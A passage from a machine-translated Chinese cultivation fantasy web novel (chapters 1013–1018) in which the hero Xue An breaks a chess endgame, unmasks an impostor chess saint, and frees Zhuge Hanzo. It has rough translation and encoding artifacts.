    At this time, Xue An suddenly whispered: "The so-called chess player, but he wins with a perfect match, and this piece... is a dead place!"


    Zhuge Xuanqing, who had a dazed expression on his face, was shocked and exclaimed, "I understand!"


    No one cares what she understands, because everyone is staring at the chess game above the light curtain.


    A wonderful scene is unfolding in front of everyone.


    I saw the chessboard situation that had already been undoubtedly lost. After Xue An fell, a shocking reversal began to occur.


    Around Xue An''s piece, the opponent chess pieces that were originally painted like ink began to turn white one by one.


    It was as if something was blooming. In a flash, all the black pieces on the board turned into white pieces.


    The whole audience was silent.


    Everyone is stupid.


    Because no one thought that this endgame could be broken like this.


    Zhuge Xuanqing looked at him blankly, and whispered softly, "Death..."


    Then she couldn''t stop shaking, her eyes filled with excitement and excitement.


    Because Xue An��s words were like opening a door for her, showing her a brand new world At this time, Amaterasu Chess also seemed to wake up from shock, incredibly big Roared: "How is this possible? How can such a situation occur in chess?"


    Xue An lightly said: "How can it be impossible? The so-called dead people, for the sake of ignorance, let us know, but also passed on to the enemy! You have not seen it because you have shallow knowledge! Just that, you dare to claim grandmaster?"


    "Impossible...I don''t believe it!" Amaterasu Chess still roared.


    Xue Ansen smiled, "Every time comes with the same force, how can a person like you understand this?"


    After that, Xue An stretched out his hand and lightly tapped on the light curtain.


    Click!


    After an imperceptible crisp sound, a slight crack appeared where Xue An��s fingertips touched.


    Then, cracks appeared like a spider web.


    After a crisp sound like porcelain cracking, the light curtain wailed and then shattered.


    So far.


    This endgame that has traversed the ages and left countless heroes and heroes at their disposal was broken by Xue An.


    The audience was awe-inspiring.


    The ancient evil who had just been disdainful of Xue An and Yuan Zhentian, the boss with his mouth open at the moment, there were chuckles in his throat, as if he couldn''t believe all of this.


    and Dai Yuexun looked at Xue An blankly, his eyes full of excitement. .


    Xue An stood with his hands on his back, raised his head and glanced at the top of Canqi Peak, and said lightly: "The warm-up is over, I hope that next time, you will not let me down too much!"


    After all, Xue An stepped out in the eyes of everyone and went straight to the summit.

 Chapter 1013： Battle of Chess

    In an instant, Xue An came to the top of Canqi Peak.


    There are clouds and mists that last year-round, and the place where the Amaterasu Chess is born is here.


    For many chess masters, this is their holy place.


    Therefore, when the many chess masters who followed Xue An and came here, they all showed admiration.


    Xue An didn''t agree with this at all. Instead, after looking around the audience, he frowned slightly, and then said lightly.


    "You still refuse to come out?"


    There was a disturbance in the void, and then a divine mind clone of Amaterasu Chess was revealed.


    Xue An shook his head and sighed softly: "I will let you wash your neck at home and wait for me. It seems that you are not obedient!"


    Amaterasu was furious, "The surname is Xue, don��t think you can break through the endgame. Here I have the final say. If I let you die, you have to die!"


    "Oh? Then you can try!" Xue An said lightly.


    "Hmph! Kill him!" Amaterasu''s divine mind clone shook for a while.


    At the same time, a dozen chess slaves rushed out of the clouds.


    These chess slaves are all chess masters who voluntarily enter the mountain as slaves, and they have been ambushing for a long time in the clouds, so this shot is a thunderous blow, and the momentum is extremely shocking.


    "Mr. Xue, be careful!" Gong Xueman exclaimed.


    Xue An was not moved at all, and even turned his head and smiled at Gong Xueman, "Thank you!"


    at the same time.


    These chess slaves have already rushed to the front, but at this moment, Xue An took a backhand shot.


    Boom!


    A powerful pressure fell on these chess slaves.


    bang bang bang.


    After ���� there was a muffled sound, these chess slaves were directly photographed into flesh.


    Amidst the blood splashing, Xue An shook his head, "I hate the clouds and mist here!"


    said, he took a step casually.


    One step fell.


    Amaterasu''s clone was directly broken.


    The entire Remnant Qi Peak shook afterwards, and then the cloud and mist above the peak dissipated like Tang Woxue.


    The true face of Canqifeng appeared in front of everyone for the first time.


    I saw the rocky mountain standing upright like a sword, and on the top of the peak stood a very delicate black chess house.


    It''s just that the brilliance of the chess house at this time is lingering, and the situation inside cannot be seen clearly.


    Xue An said lightly: "You still refuse to show up?"


    There was a moment of silence in the chess house, and then a voice with a little fatigue came.


    "Young man, your strength is indeed amazing enough. I admit that I underestimated you before! But you are almost done! Even if you have any more anger, you should have vented now. It''s better to expose this matter. What do you think?"


    Everyone was dumbfounded.


    Especially the local chess masters in Amaterasu, they couldn''t believe their ears.


    In their minds, the supreme Master Chess, is he actually softened to this young man?


    And listening to the meaning of these words, but also with a hint of flattery.


    This is simply unacceptable to them.


    What made them even more unacceptable was Xue An''s reaction to this.


    I saw a cold smile at the corner of Xue An��s mouth, "I want to expose it now, but don��t you think it��s too late?"


    what?


    Now even the foreign chess masters have their eyes rounded.


    In their opinion, the Amaterasu Chess has already conceded and said a good thing. Xue An��s wisest choice should be to go down the donkey, so that he looks good to each other!


    Seeing what Xue An means now, it seems that he does not intend to let it go.


    This is too...it��s too arrogant!


    Is he really going to play a game with Amaterasu?


    As expected.


    Just listen to the angry roar of Amaterasu Chess: "The surname is Xue, don''t think I am afraid of you! I just think that you are also a junior in chess, and have good talents, so I can''t bear to hurt you! "


    Xue An laughed up to the sky when he heard the words, the laughter shook all the fields, and everyone was disgraced.


    Then Xue An looked at the chess house abruptly, and said lightly: "What an ancestor who is sympathetic to the younger generation, but don''t you feel disgusting when you say this! Do you need me to speak out in public about Zhuge Hanzo?


    Zhuge Hanzo?


    Why is this incident related to Zhuge Hanzo again?


    When everyone was surprised.


    Zhuge Xuanqing stepped forward with an angrily expression and pointed at Chess Lu and shouted angrily: "Amaterasu Chess Master, I respect you as a powerful ancestor, but you actually imprisoned my brother, and even plundered his mind. Wisdom, add talent to your precious son Jing Tian Rui! When you do these things, don''t you feel bad about it?"


    Boom!


    These words came out.


    The whole audience was shocked.


    Everyone looked at Zhuge Xuanqing, who was full of tears with a dumb look.


    Because the amount of information in this passage of her is too large, many people are overwhelmed by the reaction.


    At this time, the spirit of spirit surged above the chess house, and then came the voice of Amaterasu Chess Sheng Yin.


    "Very well, since you have torn your skin, there is nothing else to say, surnamed Xue, don''t think I am really afraid of you! Then I will let you die without a place to bury you!"


    With the voice, I saw a sea-like divine mind rushing out of the chess house, and instantly enveloped Xue An and Zhuge Xuanqing.


    The void seemed to be a little unable to withstand the erosion of this divine mind, and burst into bursts.


    Everyone is in disguise, is this the true strength of Amaterasu?


    Gu E and Yuan Zhentian looked at each other, then laughed triumphantly.


    But just when they thought Xue An was bound to die.


    just heard a calm voice coming from the ocean of divine mind.


    "I was a little puzzled before, why you kept huddling in this place and refused to show up, now I finally understand!"


    Following the voice, Xue An walked out of the shroud of divine consciousness like a stroll in the courtyard, and then smiled at the chess house.


    "The original Amaterasu chess sage is already dead, and you...just an imposter, am I right?"


    If all the previous things just shocked everyone in the audience, now Xue An��s words are like a heavy bomb, and everyone who blows up is lost.


    Amaterasu Gosei is dead?


    Then who is the person in the chess house now?


    Everyone can''t help but cast their eyes on the chess house.


    After a moment of silence, a sneer from a person came from the chess room, "It''s so ridiculous, I..."


    Xue An seemed to have expected that he would not admit it a long time ago, so he just smiled, and then continued in an indisputable tone: "Actually, from the moment I saw your Divine Mind clone, I was a little strange, waiting to see this remnant chess. Feng, I have a general guess in my heart!"


    "Because this remnant chess peak has obviously been thoroughly condensed with a powerful spiritual mind, and as a chess master, you can''t control this mountain at all!"


    "And up to this time, you dare not show up, but still show up as a divine mind clone. So you should be imprisoned here for some reason and can''t move. Am I right?"

 Chapter 1014： The mystery revealed

    After a deathly silence, the audience completely exploded.


    "What? Amaterasu is dead? How is this possible?" Some people expressed disbelief.


    "But what he said is not unreasonable, because for more than a hundred years, this chess master has never appeared in public!" Someone said solemnly.


    "Then if he is not Master Chess, who is he?" Someone asked with a puzzled look.


    "Yes! Master Chess is a shocking cultivation base, even if he falls, he can''t die silently! Who is this person?"


    This question emerged in everyone''s hearts.


    After a long silence, a sneer came from the chess house.


    "I almost believe what I said, yes, I really can''t leave here now, but that''s because I am practicing a special technique, so my body cannot move for a while! And the surname is Xue, don''t you think This won me!"


    "This chess house is the result of my countless hard work. If I don''t want to go out, no one in the world can open it! Leave quickly, and when I leave the gate, I can leave you alive, otherwise, I will not forgive!"


    The righteous words of these words convinced many chess masters.


    But there was a sneer at the corner of Xue An��s mouth, ��I��m so stiff when I die, and this game has been going on for too long, and I��m not in the mood to play with you!��


    "You...what do you want to do?" The voice in the chess house was a little panicked.


    "What do I want to do? Ha ha, naturally... take over this remnant chess peak!"


    As he said, Xue An''s eyes narrowed slightly, and the vast and expansive mind of the universe, like the starry sky of the universe, instantly unfolded, covering the entire residual chess peak.


    "Impossible, how can you have such a powerful mind?" The voice in the chess house finally panicked completely.


    "Is this impossible? With your knowledge, you dare to call yourself a chess master? It''s ridiculous!" Xue An said coldly.


    At the same time, the monks of Man Tian Chess Road, whether they are native to Amaterasu or foreign, Qi Qi was shocked by this spiritual thought and retreated a hundred feet away.


    In the chess house, the voice shouted violently, "Who are you?"


    Xue An smiled slightly, "My name is Xue An! But I am not happy to meet you!"


    After that, Xue An casually pointed at the chess house and said lightly: "Open"


    Boom!


    The indestructible brilliance above the chess house dissipated in an instant, and then the chess house began to disintegrate, and in a moment it turned into powder.


    When the scene in the chess house appeared in front of everyone, the crowd could not help but exclaimed.


    "Gosh! What the **** is this?"


    Because on a futon, the eyes of the former Amaterasu chess sage closed tightly, and he has been dead for a long time.


    But half of this chess saint''s body was eroded and occupied by another person, and a head grew on his shoulders.


    This weird and terrifying scene shocked everyone.


    Then an older monk recognized this person and couldn''t help exclaiming: "Isn''t this the chess slave Huogeng beside Master Qi!"


    "That''s right, it''s this guy! It is said that he is the most trusted chess slave of Master Chess. It is just that he was destroyed because of his insanity a hundred years ago! I did not expect that he was not dead at all!"


    Xue An said calmly: "Of course he didn''t die. Although he was in a madness back then, when the Chess Master was about to save him, he took advantage of the vacancy and directly killed his teacher and seized the house. Am I right? Huo Geng ?"


    Xue An''s words shocked everyone.


    Huo Geng, who was exposed to everyone��s eyes, looked terrifying, "Xue An, what hatred do I have with you, why do you repeatedly target me? What does this matter have to do with you?"


    "There is no hatred, but since I encountered it, I naturally have to take care of it!" With that, Xue An looked at the Amaterasu chess saint who had died a long time earlier, and a touch of approval appeared in his eyes.


    "Huo Geng, your wishful thinking is very good, and even your delusion may be a trap deliberately set up, but the mechanism is too clever, you never expected that Amaterasu Chess will wake up at the last moment, and In order to imprison you, do not hesitate to explode, let you become such a non-dead, non-human, non-ghost existence!"


    Although Amaterasu Chess has been dead for a hundred years, Xue An can still see the original clues from some clues.


    Huo Geng was also completely free at this time, his half-dead and non-living body was wobbly, and his face showed a ferocious look.


    "You''re right! Can you blame me for all this? It''s because this old guy is too stubborn and he abides by the ridiculous rules of chess. If it weren''t for his stubbornness, I would already dominate all chess fields! Get your nonsense here?"


    These words caused a commotion in the crowd.


    Amaterasu''s native chess masters wake up like a dream.


    In the past hundred years, Amaterasu Chessmaster has changed like a person. Although he is hidden in the Remnant Chess Peak, he secretly manipulates the numerous forces in the Amaterasu Star Region to expand outward, leading to continuous bloodshed and conflicts over the past century.


    This also made many chess masters in Amaterasu star to criticize, thinking that Master Chess is getting old, but his personality has changed drastically.


    But now it seems that the original instigator is this Huo Geng!


    Many of the chess masters who suffered greatly from the attack spit fire in their eyes and roared.


    "You despicable chess slave, not to mention the death of Master Qi, but also provoked so many disputes! It''s a crime!"


    "Stop him!"


    "That''s right slap him!"


    Amidst the anger of the crowd, this Huo Geng laughed, "Xue An, kill me if you have the ability! Then someone will avenge me!"


    The voice is full of arrogance.


    "Someone will avenge you?" Xue An said lightly.


    "That''s right, and it will be an existence you can''t afford to provoke!" Huo Geng said smugly.


    There was a dead silence, and many people looked solemn.


    But Xue An just smiled indifferently, and then appeared in front of this Huo Geng, and grabbed his neck.


    "Do you know? There is no one in this world that I can''t afford to provoke!"


    There was a look of fear in Huo Geng''s eyes, but he still insisted on smiling and said, "You are scared!"


    "Afraid?" Xue An smiled playfully, then leaned down and whispered in Huo Geng''s ear: "If I guess right, the existence you call me that I can''t afford to offend should be the gods of Amateras! How? Does it feel good to be a running dog of the gods?"


    "You..." Huo Geng gradually widened his eyes and looked at Xue An in horror.


    "You don''t need to look at me like that. Actually, I came here to find those gods! So... I should thank you!"


    Feeling the murderous intent in Xue An''s words, Huo Geng finally felt deep fear.


    "Don''t kill me, if you kill me, don''t want to find Zhuge Hanzo!".


    Zhuge Xuan was surprised when he heard this, and hurriedly shouted: "Mr. Xue..."


    Xue An smiled, "Do you think you still have a chance to bargain in front of me?"

 Chapter 1015： Old Zhuge

    "What do you want to do?" Huo Geng screamed in surprise.


    But Xue An was too lazy to talk nonsense with him anymore, and suddenly shook his palm.


    Huo Geng''s neck was squashed.


    In the blood splashing, I saw a divine light rising into the sky, heading straight to the distant sky.


    "Mr. Xue, Huo Geng wants to escape!" Zhuge Xuanqing exclaimed.


    Xue An smiled slightly, "Don''t worry, he can''t run!"


    As he said, Xue An waved his hand and saw a sword light rushing up with lightning speed.


    Although the divine light flew fast, Xue An''s sword light was faster.


    Almost in the blink of an eye, Jian Mang had already flown behind Huo Geng Shennian.


    Huo Geng was so frightened that his soul was going to disperse, "No..."


    But when the sword light was already on the body and was about to completely smash this Huo Geng, the starry sky was suddenly distorted by an extremely powerful wave, and the sword light was also shattered.


    Then a big hand protruded directly, grabbing Huo Geng''s spirit and dragging it out.


    "Want to go?" Xue An sneered, and reached for a finger.


    A giant sword took shape in an instant, and then directly passed through the void, to the giant hand.


    boom!


    After a dull loud noise, the giant hand was chopped off three fingers.


    There was a roar like a beast from outside the void.


    Despite this, the master of this giant hand dragged Huo Geng''s spirit at the last moment and left here.


    The distorted space gradually calmed down.


    But the audience was deadly silent.


    Although the giant hand just gave a glimpse, the breath it exudes is extremely powerful.


    Even some people who were close to him just took one more look, then groaned, and went back one after another.


    Such strength, could it be.......


    Many people sink in their hearts.


    Zhuge Xuanqing and the Gong brothers and sisters rushed up anxiously, "Mr. Xue..."


    Xue An waved his hand, glanced at the void that had returned to normal, a cold smile appeared at the corner of his mouth, and then whispered to himself.


    "Finally show your feet? Amaterasu... the gods!"


    Xue An''s voice was very soft, even the nearest Zhuge Xuanqing couldn''t hear what he was talking about, and she was not in the mood to care about it now.


    "Mr. Xue, my brother..."


    Xue An turned his head and glanced at her, then smiled slightly, "If you don''t tell me, I forgot, let''s go, save your brother first!"


    As he said, Xue An suddenly stamped his foot.


    Seeing this remnant chess peak shook violently, and then on the bottomless cliff behind the chess house, chess pieces began to emerge out of thin air, and then formed a floating bridge.


    Xue An stepped onto the floating bridge, "Come with me!"


    at the same time.


    In the deep and hidden valley, the chains that originally pierced the mountain began to vibrate violently.


    The bound Zhuge Hanzo suddenly raised his head, and said with a shocked face: "What a powerful mind!"


    Zhuge Hanzang became famous as a young man, traveled all over the world, and had seen countless chess masters, but he had never seen such a vast and powerful spirit.


    When facing this spirit, Zhuge Hanzo even had an urge to worship.


    "Who has such a powerful cultivation base?" Zhuge Hanzo whispered softly, his eyes flashing with a bright light that had never been seen before.


    At this moment.


    Seeing Xue An and his party walk through the layers of mist and arrive in the valley.


    "Brother!" Zhuge Xuanqing couldn''t help crying when he saw Zhuge Hanzo who was entangled in layers of chains.


    "Xuan Qing? Why are you here? Amaterasu chess saint?" Zhuge Hanzang asked in surprise.


    Zhuge Xuanqing shook his head, "There is no Amaterasu chess saint, he was killed by Mr. Xue!"


    Mr. Xue...


    Zhuge Hanzo looked at his negative hand and stood aside, looking at his Xue An with a playful look, a look of dazedness and horror appeared in his eyes.


    Because even the Amaterasu chess master, he can see the details of the opponent.


    But when facing this white-clothed boy, Zhuge Xuanqing found that what he was facing was like a bottomless ocean, and he couldn''t see through.


    This feeling made the young genius''s heart tense.


    At this time, Xue An nodded approvingly, "The talent is good, and it''s not worth your dare to name this name!"


    This is an understatement, but the speaker is unintentional and the listener is intentional.


    Zhuge Hanzo felt a shock in his heart and was about to say something.


    Xue An waved his hand and saw the chains as if he saw the snakes and pythons of the Nine Heavens Dragon, tremblingly walked Zhuge Hanzo slowly down to the ground, and then quietly withdrew.


    After being imprisoned for more than ten years, when he stepped on the ground again, Zhuge half-hidden staggered and almost fell to the ground.


    "Brother!" Zhuge Xuanqing screamed and tried to help him.


    Zhuge Hanzo shook his head and signaled that he was okay, then took a deep breath and bowed his hand to Xue An very respectfully.


    "Thank you senior for helping me!"


    Xue An looked at this young man who was still gritted his teeth to prevent him from falling despite the bruises all over his body, and there was a look of appreciation in his eyes.


    "You are very good! Zhuge''s family is proud to have a younger generation like you!"


    These words made Zhuge Hanzo''s expression more respectful, "I don''t know the name of the predecessor yet!"


    Zhuge Xuanqing hurriedly introduced: "Brother, this is Mr. Xue Anxue!"


    "Xue An..." Zhuge Hanzang whispered softly, his eyes a little blank.


    He always felt that the name was familiar, but he couldn''t remember where he heard it for a while.


    Therefore, he once again said, "Senior Xue It seems to have a connection with my Zhuge family, but I don��t know which ancestor you know well?"


    Xue An listened, glanced at Zhuge Hanzo with a faint smile, and then said lightly: "Who got your name for you?"


    "This... was taken by the juniors themselves! It was to cherish the memory of one of my Zhuge family..."


    Speaking of this, Zhuge Hanzang suddenly raised his head and looked at Xue An extremely excited.


    Because he suddenly remembered where he had heard this name!


    This name was mentioned in a slip left by the ancestor of the Zhuge family whom I admired most!


    That''s right!


    It''s the peerless powerhouse that his ancestors will remember!


    Zhuge Hanzo was so excited that he was speechless, Xue An patted him on the shoulder and said with a smile.


    "It looks like that old guy mentioned me to you!"


    "Senior..." Zhuge Hanzang suddenly became speechless.


    This young genius, who has always been known for his extremely calm mind, has mixed feelings at this moment, and has no idea what to say!


    Because he knew better than anyone what Xue An''s identity meant.


    "Okay, okay! Don''t be so formal! But I have to say a few words!"


    "Senior please enlighten me!" Zhuge Hanzo lowered his head respectfully.


    "That old guy is known about the world of the heavens and the world, so he named Zhuge Zang, and your name is Zhuge Hanzang. Doesn''t that mean you are inferior to Zhuge old man?"


    Zhuge Hanzang was dumbfounded.


    For that old ancestor, he has always admired so much, so how dare to take such words.


    Xue An didn''t care about those, but excitedly said: "If you want to become a real powerhouse, you have to find a way to surpass that guy, so I think you should call Zhuge Zang multiplied by two! Or Zhuge Zang squared! "

 Chapter 1016： Smart

    Zhuge Hanzo could only smirk at Xue An''s remarks, but he did not dare to continue.


    At this time, Zhuge Xuanqing returned the spirit that he had kept to Zhuge Hanzo.


    But because Zhuge Hanzo is still very weak, it will take at least a few days if he wants to fully recover.


    Xue An smiled, "I''ll help you!"


    As he said, Xue An''s eyes narrowed, and a thought wrapped Zhuge Hanzang''s divine mind directly into Zhuge Hanzang''s sea of ??knowledge.


    Zhuge Hanzo shook his whole body, and hurriedly closed his eyes, and the momentum on his body also fluctuated.


    after a moment.


    A powerful aura rose from the top of Zhuge Hanzo''s head.


    When he opened his eyes again, the light in his eyes was shining, and all his injuries had been healed.


    Xue An nodded, "You have a good foundation!"


    "Thank you senpai for helping!" Zhuge Hanzo said gratefully.


    Xue An smiled and said, "Let''s go! There are still many things outside!"


    When Xue An led Zhuge brother and sister out of the pontoon and appeared in front of everyone, there was a commotion in the audience.


    "It really is Zhuge Hanzo!"


    "Gosh, no wonder he hasn''t shown up for more than ten years, he has been imprisoned in this place!"


    Everyone was amazed.


    The Chessmaster was already dead, and it was the chess slave Huogeng who killed the master and seized the house.


    Zhuge Hanzo, a genius boy from the Zhuge family, was originally imprisoned in Canqi Mountain.


    Everything that happened today is enough to subvert their inherent perception.


    And those Amaterasu chess masters, all their heads are drooping at this moment, no longer the arrogance of the past.


    Dai Yuexun has been looking at Xue An with bright eyes, but she hasn''t waited for her to move.


    I saw the various old evils and Yuan Zhentian who had despised Xue An before, but at this moment they ran faster than anyone, rushing forward with a flat face.


    "Amaterasu ancient family welcomes Lord Xue!"


    "The Yuan family welcomes the adults!"


    The two bend down and salute respectfully.


    Xue An stopped and looked at the two men indifferently.


    The atmosphere suddenly became stagnant.


    Gu E and Yuan Zhentian, who bent down and bowed their heads, their expressions gradually solidified, and cold sweat appeared on their foreheads.


    It wasn''t until half a cup of tea had passed before Xue An looked back and said in a playful tone: "Gujia, Yuanjia...?"


    "Yes, yes!" Gu E and Yuan Zhentian nodded busyly.


    At this moment, Dai Yueying stepped forward and said with a smile: "My lord, the people of the ancient Yuan family are all from the Amaterasu Chess Yard that was leveled by you!"


    These words made Gu E and Yuan Zhentian jump up like cats stepped on their tails.


    "Dai Yueying, what do you mean? Isn''t your Dai family anymore? And your sister Dai Qinxin was the chief elder of the Amaterasu Academy!" Gu Evil said with a fierce face.


    "Yes! Patriarch Dai, what you said seems a bit wrong!" Yuan Zhentian also said.


    "Oh? Dai Qinxin is your sister?" Xue An raised his eyebrows slightly, and looked at the woman who had been smiling cleverly.


    Dai Yuexian nodded openly, "Yes! Dai Qinxin who was killed by you is indeed my sister! But..."


    Dai Yueying glanced at Gu E and Yuan Zhentian, and said disdainfully: "We, the Dai family, have never denied this. Moreover, the strong in chess is respected. Dai Qin is obsessed with not realizing it. She is responsible for being killed by an adult. When I get up, I even want to thank the adults!"


    "Thank me?"


    Dai Yuexun nodded, and then said very naturally: "Dai Qin''s heart is not dead, and my position as Patriarch has been restless. Now that she is gone, the Dai family really belongs to me!"


    This kind of words that should have only been hidden in his heart was spoken by Dai Yuexun in a very flat manner.


    Everyone was stunned.


    Xue An also looked at this Dai Yueying with interest, "Aren''t you afraid of me being angry when you say that?"


    Dai Yuexun smiled slightly, "You are a dragon above the nine heavens. Even if I don''t say anything, you should know these things!"


    This kind of words that sounded like flattering, came out of this woman''s mouth, but it was very affectionate, and it made people think it was her heartfelt words.


    Gu E and Yuan Zhentian''s complexion instantly became extremely ugly.


    They never thought that this woman would actually use this method to approach this new master of chess.


    And it seems that the effect is pretty good.


    Just as the two looked at each other, trying to find a way to get this nasty woman off.


    Dai Yuexun said indifferently: "Unlike some people, who are stubborn and respectful! Am I right, two adults?"


    Gu E and Yuan Zhentian were shocked.


    "Dai Yueying, what do you mean?" Gu E sternly shouted.


    Dai Yuexun smiled slightly, "It''s meaningless, it''s just that it happened to be recorded by my magic weapon when some people were talking about it before!"


    said, Dai Yueying gently turned the finger of her hand.


    A brilliance appeared in the finger, and then projected in the air, forming a water curtain.


    Then I saw an image appearing above the water curtain.


    Gu E and Yuan Zhentian are having a conversation.


    "Is this the Xue''s surname? It looks like the hair hasn''t grown up yet!"


    "As soon as I saw him, I knew he couldn''t win, so he must die now!"


    ����.


    These words spread throughout the audience.


    And every time they said something, the faces of Gu E and Yuan Zhentian turned white, and they were as pale as paper in the back.


    After a while, the light curtain dissipated.


    Dai Yuexun smiled and looked at the two ancient evils, "Two Patriarchs, this...what are you going to explain?"


    "Dai Yuexun You bitch, you actually tried to harm me! I want to kill you!" Gu Ei roared and rushed up.


    But he is fast, Dai Yueying is faster.


    Before he rushed to Dai Yueying, Dai Yueying slapped her hand and flew out the ancient evil fan directly.


    Then she akimbo her hips and said coldly: "Gu E, do you really think my old lady can''t beat you? To be honest, my old lady has tolerated you for a long time!"


    Everyone was stunned.


    And Gu E was sitting on the ground, half of his face flushed and swollen, looking at Dai Yueying in disbelief.


    "you you����."


    "What are you? You pretend to be very powerful all day long. If it wasn''t for hiding your strength, believe it or not, I would have killed you!"


    Dai Yuexun said, looking at Yuan Zhentian who was aside, "And you, why? Are you planning to make a trip behind?"


    Yuan Zhentian stepped back in fear as if he had seen a viper.


    Then Dai Yuexun swept the temples near his ear, and looked at Xue An with a charming smile.


    "My lord, do you think this is satisfactory?"


    From beginning to end, Xue An didn''t have any expressions, just watched quietly.


    He didn''t raise his eyes to look at this woman until Dai Yuexun asked himself.


    The smile on Dai Yuexun''s face did not change, but there was a look of panic in the depths of his eyes.


    After a heart-pounding silence, Xue An said calmly: "You are very smart!"


    Dai Yuexun sighed in secret, and was about to talk with a smile. The next words of Xue An made her stand there shuddering.


    "But the downside is...smart and self-righteous!"

 Chapter 1017： Zhuge Jiazhi

    Dai Yuexun''s complexion instantly turned pale, "My lord..."


    Xue An waved his hand and smiled indifferently, "From the very beginning, you have prepared both hands!"


    "For example, this water curtain you recorded! If I lose, then none of this has happened, am I right?"


    Dai Yuexun lowered his head, his eyes were full of fear and horror, and his whole body began to tremble uncontrollably.


    The ancient evil hearsay, who was sitting on the ground, stood up with excitement, "Master Xue, what you said is absolutely right. This woman has a very vicious heart. Don''t be deceived by her performance."


    Xue An nodded with a smile, "That''s right, come here!"


    Gu was overjoyed in disgust, thinking that Xue An was impressed by his performance, so he hurried forward with a smile.


    But as soon as he got closer, Xue Anyang slapped his hand.


    Snapped!


    After ���� there was a crisp sound, Gu E rolled and flew out, and after landing, the other half of his face quickly swelled.


    Seeing that the swollen was very uniform, Gu E looked at Xue An blankly, as if he didn''t understand why he was beaten.


    Xue An clapped his hands slowly, and said coldly: "You don''t have all the hair!"


    ��!


    ''S words made Gong Xueman on the side laugh, but her brother Gong Changyue gave him a stern look.


    Gong Xueman hurriedly covered his mouth, but couldn''t help taking a peek at Xue An.


    Because she suddenly felt that Mr. Xue, who has always been a strong man, behaves like a child at this moment!


    Especially the sentence that you don��t have all the hair and talents, it��s really a laugh.


    at this time.


    A dozen streamers suddenly appeared in the sky, and they flew into the field in an instant.


    After landing, Zhuge Hanzo and Zhuge Xuanqing were all shocked, and hurried forward, bowing to the middle-aged man in front of the team, bowing and saluting.


    "Father!"


    There was a violent commotion in the audience, and many people took a breath.


    "This is the Patriarch of the Zhuge Family, that Zhuge Yuan, who has been famous for a hundred years and is even known as a little chess saint?"


    Everyone is wondering.


    This Zhuge principle exhaled after seeing his son who had been missing for more than ten years.


    "Hanzo! Are you okay!"


    "Go back to father, the child is all right!"


    at the same time.


    The elders who came with Zhuge Yuan were furious.


    "Where is the old miscellaneous hair of Amaterasu?"


    "That''s right, what about the old one? How dare to use such despicable means to deal with my grandson, I have to fight him today!"


    These old men who came here are all the ancestor-level chess masters, and they are all Zhuge Hanzo''s grandfathers.


    These people usually eat together in the Senate and wait to die. To put it bluntly, they are already mascots.


    But in the past two days, after the information sent back by Zhuge Xuanqing reached the Zhuge family, the entire Zhuge family was boiling!


    Everyone was furious at it, because Amaterasu''s actions had seriously lost the limit, and he was even openly attacking Zhuge''s family as an enemy.


    These half-length elders were even more angry with the Three Corpse Gods when they heard the words. The five spirits were so proud that they wanted to fight with this Amaterasu.


    Therefore, the lineup of the Zhuge family is super luxurious.


    Zhuge''s family also knows that Amaterasu Chess is not easy to provoke, and it is usually tolerable.


    But this is absolutely unbearable. In the words of an ancestor of the Zhuge family, the other party is already riding on his head and shit, how can he bear it?


    So they came here for a big fight.


    I didn''t expect that after waiting here, his son Zhuge Hanzo was standing there. Although his clothes were a bit ragged, he was in very good condition.


    This can''t help but make Zhuge Yuan a little surprised.


    At this time, Zhuge Xuanqing smiled, "My ancestors, you don''t need to look for it. The Chess Master was already dead that day! The one who used despicable means to imprison my brother was a chess slave next to him called Huo Geng!


    Talking, Zhuge Xuanqing recounted what happened.


    Including Zhuge Yuan, all members of the Zhuge family gradually widened their eyes.


    Because they didn''t expect that there is such a complicated reason.


    Finally, Zhuge Xuanqing introduced very solemnly: "My ancestors, father! This Mr. Xue is the one who saved my brother!"


    Zhuge Yuan looked at Xue An with an indifferent expression, his expression gradually became solemn.


    Because he was horrified to discover that he could not see through this young man.


    Then he bowed his hand very respectfully, "Mr. Xue, thank you for your great grace, you saved Hanzo, that is the benefactor of our Zhuge family! My Zhuge family will definitely find a way to repay you!"


    Xue An looked at Zhuge Yuan with a faint smile, "Oh, how are you going to repay me?"


    Zhuge Yuan hesitated slightly.


    At the same time, the ancestors of the Zhuge family behind him said in amazement.


    "This doll is not easy!"


    "Yeah! I just looked at this person with a face-to-face technique, but found nothing!"


    "That''s right, I''ve done three divinations just now, but the results of the hexagrams are different, and..." said an old man who even had white eyebrows in shock.


    "And what?"


    "Also, when I thought about divination, I found that I couldn''t make a hexagram anyway, as if even Mingmingshu was afraid of this person!"


    These words made all these ancestors take a deep breath and then looked at each other and saw the shock in each other''s eyes.


    If you can really scare the world, how amazing is the identity of this young man?


    Xue An naturally heard these words too. He glanced at these gray-haired old men and smiled faintly.


    "What did you call me just now?"


    "Baby! In terms of age, is there anything wrong with this?" an old man said.


    It is the person who is speaking.


    Xue An smiled and shook his head, "Of course there is nothing wrong!" Then he looked at the money in the old man''s hand and smiled faintly.


    "It seems that your Zhuge family really has the potential to be a magic stick, and you have inherited all this ability of Zhuge old man!"


    ''S words changed the atmosphere of the court. The expressions of Zhuge Yuan and these ancestors suddenly became difficult to look at.


    Especially this divine ancestor, said angrily: "Baby, you better be careful when you speak!"


    Xue An smiled, and then sighed softly: "Unfortunately, you can only use six coins, which is far from the one dollar figure of nine!"


    The ancestor of Divine Gua opened his eyes instantly, "You...how do you know this?"


    Zhuge��s money fortune telling is the most famous besides chess.


    But most people do not understand the key points. .


    But this young man opened his mouth and said the concept of one yuan.


    "Me? Not only do I know this, I also know that the old Zhuge who created the money fortune telling can even account for nine yuan at the same time. At that level, even the fate of the emperor can be spied for one or two!" Xue An stood with his hand indifferent Said.

 Chapter 1018： Revenge with grievances, revenge with grievances

    If Xue An just shocked these people, then when Xue An said these words, all these ancestors were all disillusioned.


    At this time, Zhuge Hanzo took a few steps forward, took a deep breath, and whispered a few words in the ears of his father and several ancestors.


    The onlookers did not hear what they were saying.


    But when Zhuge Hanzang finished speaking, look at Zhuge Yuan and the ancestors of the Zhuge family, the dissatisfaction just now has been swept away, and replaced by unprecedented awe and awe.


    "Senior, please forgive me for my eyesight and fail to recognize you. I really deserve to die!" Zhuge Yuan said respectfully.


    And those ancestors, even more disrespectful, went to Xue An one after another.


    "Senior forgive me!"


    "Senior, please forgive me!"


    This scene shocked countless people, because they couldn��t figure out what the identity of this young man who had beaten Huo Geng and suppressed the audience was so respectful and respectful for the always proud Zhuge family. .


    And Dai Yuexun, who was on the side, looked at him with horror, and his heart was extremely agitated.


    She has raised Xue An''s strength and status as much as possible, but she did not expect that she still underestimated this boy.


